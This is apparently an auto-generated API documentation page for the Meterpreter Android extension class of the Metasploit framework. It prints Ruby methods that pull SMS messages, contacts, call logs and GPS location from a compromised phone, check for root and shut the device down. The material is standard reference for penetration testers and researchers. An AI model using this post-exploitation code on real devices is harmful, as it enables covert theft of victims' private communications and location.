class Rex::Post::Meterpreter::Extensions::Android::Android

Android extension - set of commands to be executed on android devices. extension by Anwar Mohamed (@anwarelmakrahy)

Public Class Methods

new(client) click to toggle source
Calls superclass method Rex::Post::Meterpreter::Extension::new
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 23
def initialize(client)
  super(client, 'android')

  # Alias the following things on the client object so that they
  # can be directly referenced
  client.register_extension_aliases(
    [
      {
        'name' => 'android',
        'ext'  => self
      },
    ])
end

Public Instance Methods

check_root() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 117
def check_root
  request = Packet.create_request('check_root')
  response = client.send_request(request)
  response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end
device_shutdown(n) click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 37
def device_shutdown(n)
  request = Packet.create_request('device_shutdown')
  request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
  response = client.send_request(request)
  return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end
dump_calllog() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 97
def dump_calllog
  log = Array.new
  request = Packet.create_request('dump_calllog')
  response = client.send_request(request)

  response.each(TLV_TYPE_CALLLOG_GROUP) { |p|

    log <<
    {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
      'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
      'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
    }

  }
  return log
end
dump_contacts() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 64
def dump_contacts
  contacts = Array.new
  request = Packet.create_request('dump_contacts')
  response = client.send_request(request)

  response.each( TLV_TYPE_CONTACT_GROUP ) { |p|

    contacts <<
    {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
      'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
      'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
    }

  }
  return contacts
end
dump_sms() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 44
def dump_sms
  sms = Array.new
  request = Packet.create_request('dump_sms')
  response = client.send_request(request)

  response.each( TLV_TYPE_SMS_GROUP ) { |p|

    sms <<
    {
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
      'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
      'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
      'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
    }

  }
  return sms
end
geolocate() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 82
def geolocate

  loc = Array.new
  request = Packet.create_request('geolocate')
  response = client.send_request(request)

  loc <<
  {
    'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
    'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
  }

  return loc
end